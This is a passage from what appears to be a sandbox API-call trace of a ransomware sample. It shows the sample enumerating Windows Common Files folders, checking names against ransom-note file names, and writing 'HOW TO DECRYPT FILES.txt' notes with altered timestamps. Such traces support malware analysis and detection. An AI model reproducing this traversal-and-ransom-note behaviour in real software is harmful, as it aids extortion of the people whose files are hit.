1 [0059.814] CloseHandle (hObject=0x90) returned 1 [0059.814] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", lpString2="MSMAPI32.DLL" | out: lpString1="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL") returned="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSMAPI32.DLL" [0059.814] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 0 [0059.814] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0059.814] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0059.814] FindClose (in: hFindFile=0x4f8180 | out: hFindFile=0x4f8180) returned 1 [0059.814] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x53004d, dwReserved1=0x3, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0059.814] lstrcmpA (lpString1=".", lpString2="Ole DB") returned -1 [0059.815] lstrcmpA (lpString1="..", lpString2="Ole DB") returned -1 [0059.815] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\*.*") returned="*.*" [0059.815] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\", lpString2="Ole DB" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB") returned="C:\\Program Files\\Common Files\\System\\Ole DB" [0059.815] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x4f8180 [0059.816] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.816] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.816] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.816] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.817] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0059.817] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0059.817] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0059.817] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\*.*") returned="*.*" [0059.817] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\", lpString2="en-US" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US" [0059.817] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0059.817] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.817] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.817] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.817] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.817] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0059.817] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.817] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msdasqlr.dll.mui") returned -1 [0059.817] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msdasqlr.dll.mui") returned -1 [0059.817] lstrcmpiA (lpString1="", lpString2="msdasqlr.dll.mui") returned -1 [0059.817] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*.*") returned="*.*" [0059.817] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\" [0059.817] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\") returned="" [0059.817] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\HOW TO DECRYPT FILES.txt" [0059.817] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0059.818] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0059.821] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.821] CloseHandle (hObject=0x90) returned 1 [0059.821] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", lpString2="msdasqlr.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" [0059.821] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aabb7e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8aabb7e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x0, dwReserved1=0x4f8488, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1 [0059.821] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.821] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="oledb32r.dll.mui") returned -1 [0059.821] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="oledb32r.dll.mui") returned -1 [0059.821] lstrcmpiA (lpString1="", lpString2="oledb32r.dll.mui") returned -1 [0059.821] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui") returned="msdasqlr.dll.mui" [0059.821] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\" [0059.821] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\") returned="" [0059.822] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\HOW TO DECRYPT FILES.txt" [0059.822] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\how to decrypt files.txt")) returned 0x20 [0059.822] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", lpString2="oledb32r.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" [0059.822] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb93886, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb93886, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1 [0059.822] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.822] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="sqloledb.rll.mui") returned -1 [0059.822] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="sqloledb.rll.mui") returned -1 [0059.822] lstrcmpiA (lpString1="", lpString2="sqloledb.rll.mui") returned -1 [0059.822] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui") returned="oledb32r.dll.mui" [0059.822] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\" [0059.822] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\") returned="" [0059.822] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\HOW TO DECRYPT FILES.txt" [0059.822] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\how to decrypt files.txt")) returned 0x20 [0059.822] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", lpString2="sqloledb.rll.mui" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" [0059.822] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1 [0059.823] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.823] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="sqlxmlx.rll.mui") returned -1 [0059.823] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="sqlxmlx.rll.mui") returned -1 [0059.823] lstrcmpiA (lpString1="", lpString2="sqlxmlx.rll.mui") returned -1 [0059.823] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui") returned="sqloledb.rll.mui" [0059.823] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\" [0059.823] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\") returned="" [0059.823] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\HOW TO DECRYPT FILES.txt" [0059.823] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\how to decrypt files.txt")) returned 0x20 [0059.823] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\", lpString2="sqlxmlx.rll.mui" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" [0059.823] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 0 [0059.823] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0059.824] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad34e79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ad34e79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ad5afda, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0059.824] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.824] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msdaosp.dll") returned -1 [0059.824] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msdaosp.dll") returned -1 [0059.824] lstrcmpiA (lpString1="", lpString2="msdaosp.dll") returned -1 [0059.824] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\*.*") returned="*.*" [0059.824] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\Ole DB\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\" [0059.824] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\") returned="" [0059.824] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt" [0059.824] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ole db\\how to decrypt files.txt")) returned 0xffffffff [0059.824] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ole db\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0059.826] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.826] CloseHandle (hObject=0x8c) returned 1 [0059.826] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\", lpString2="msdaosp.dll" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" [0059.827] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14cd0c35, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14cd0c35, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x349a6d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6a000, dwReserved0=0x0, dwReserved1=0x4f8480, cFileName="msdaps.dll", cAlternateFileName="")) returned 1 [0059.827] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.827] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msdaps.dll") returned -1 [0059.827] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msdaps.dll") returned -1 [0059.827] lstrcmpiA (lpString1="", lpString2="msdaps.dll") returned -1 [0059.827] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll") returned="msdaosp.dll" [0059.827] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\Ole DB\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\" [0059.827] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\") returned="" [0059.827] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt" [0059.827] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ole db\\how to decrypt files.txt")) returned 0x20 [0059.827] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\", lpString2="msdaps.dll" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" [0059.827] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c0138a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86c0138a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86c0138a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1 [0059.827] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.827] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msdasql.dll") returned -1 [0059.827] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msdasql.dll") returned -1 [0059.827] lstrcmpiA (lpString1="", lpString2="msdasql.dll") returned -1 [0059.827] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll") returned="msdaps.dll" [0059.827] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\Ole DB\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\" [0059.827] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\") returned="" [0059.827] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt" [0059.827] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ole db\\how to decrypt files.txt")) returned 0x20 [0059.828] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\", lpString2="msdasql.dll" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" [0059.828] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab69cf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x2ab69cf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x838ac7b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1 [0059.828] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.828] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msdasqlr.dll") returned -1 [0059.828] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msdasqlr.dll") returned -1 [0059.828] lstrcmpiA (lpString1="", lpString2="msdasqlr.dll") returned -1 [0059.828] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll") returned="msdasql.dll" [0059.828] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\Ole DB\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\Ole DB\\") returned="C:\\Program Files\\Common Files\\System\\Ole DB\\" [0059.828] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\Ole DB\\") returned="" [0059.828] lstrcatA (in: lpString1="C:\\Program Files\\Common 